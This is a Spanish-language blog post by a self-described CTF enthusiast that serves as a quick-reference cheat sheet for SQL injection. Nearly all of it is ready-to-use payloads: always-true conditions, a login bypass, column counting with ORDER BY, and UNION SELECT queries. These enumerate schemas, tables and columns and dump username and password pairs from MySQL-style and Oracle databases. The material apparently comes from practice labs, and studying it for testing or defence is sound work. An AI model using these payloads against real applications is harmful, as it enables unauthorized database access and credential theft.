SQLI


Referencia rápida

Published on April 26, 2023 by Gmichet

SQLI

4 min READ

En este post, proporcionaremos ejemplos y técnicas directo al grano para tener una referencia rápida.

Base de Datos

DB

Objetivo

P20i1

Indice

Retornar datos ocultos


El objetivo es manipular la condición para que siempre sea verdadera, de modo que la consulta retorne todos los registros en la tabla.

' or 1=1-- -

Eludir inicio de sesión


Realizamos la query en el apartado de autenticación.

'-- -

P20i2

Identificar número de columnas


' order by (n_columnas)-- -
  • Ejemplo si hay dos columnas
' ORDER BY 2-- -

Probar campos inyectables


' UNION SELECT NULL,'Probando'-- -
' UNION SELECT 'Probando',NULL-- -

Extracción de Datos


En donde NULL es la columna en donde quiero extraer los datos:

' UNION SELECT NULL,NULL,NULL-- -
  • Probando en la columna 1:
' UNION SELECT 'VkItMD',NULL,NULL-- -

Listando DB existentes


' UNION SELECT NULL,schema_name from information_schema.schemata-- -
  • Lo mismo pero te separa las bases de datos por comas:
' UNION SELECT NULL,group_concat(schema_name) from information_schema.schemata-- -

Ver DB en uso


' UNION SELECT NULL,database()-- -
  • Supongamos que la base de datos no esta en uso y quieres listarla, a veces tienes que especificar la base de base de datos en uso, eso lo haces con:
' UNION SELECT NULL, group_concat(username,':',password) from tienda.users-- -

# En donde tienda es la que esta en uso

Listando Tablas Existentes en todas las DB


' UNION SELECT table_name,NULL from information_schema.tables-- -

Listando Tablas de una DB especifica


' UNION SELECT table_name,NULL from information_schema.tables where table_schema = 'public'-- -

Listando Columnas de una Tabla


' UNION SELECT column_name,NULL from information_schema.columns where table_schema = 'DB' and table_name = 'tabla'-- -

Listando el Contenido de una Columna


' UNION SELECT username,password from users-- -
  • otras formas:
' UNION SELECT NULL,group_concat(username,':',password) from users-- -
' UNION SELECT NULL,group_concat(username,'0x3a',password) from users-- -
' UNION SELECT NULL,username||':'||password from users-- -
' UNION SELECT NULL,concat(username,':',password) from users-- -

Listando contenido de una DB ORACLE

  • Determinar número de columnas
' ORDER BY 2-- -
  • Consulta especia ORACLE
' UNION SELECT NULL,NULL from dual-- -
  • Listando todas las tablas de las bases de datos existentes para ORACLE
' UNION SELECT NULL,table_name from all_tables-- -
  • Listando por bases de datos de propietarios
' UNION SELECT NULL,owner from all_tables-- -
  • Enumerando la tablas de propietarios
' UNION SELECT NULL,table_name from all_tables where owner = 'PETER'-- -
  • Listando las columnas
' UNION SELECT NULL,column_name from all_tab_columns where table_name = 'USERS_VFDYAP'-- -
  • Listando el contenido dada una columna
' UNION SELECT NULL,USERNAME_GTWJZC||':'||PASSWORD_TBLRSL FROM USERS_VFDYAP-- -

Gmichet

Autodidacta apasionado por la informática y entusiasta de los CTF. Constantemente aprendiendo.

2024 | WhatATheme - A Theme made with by Gmichet Powered by Jekyll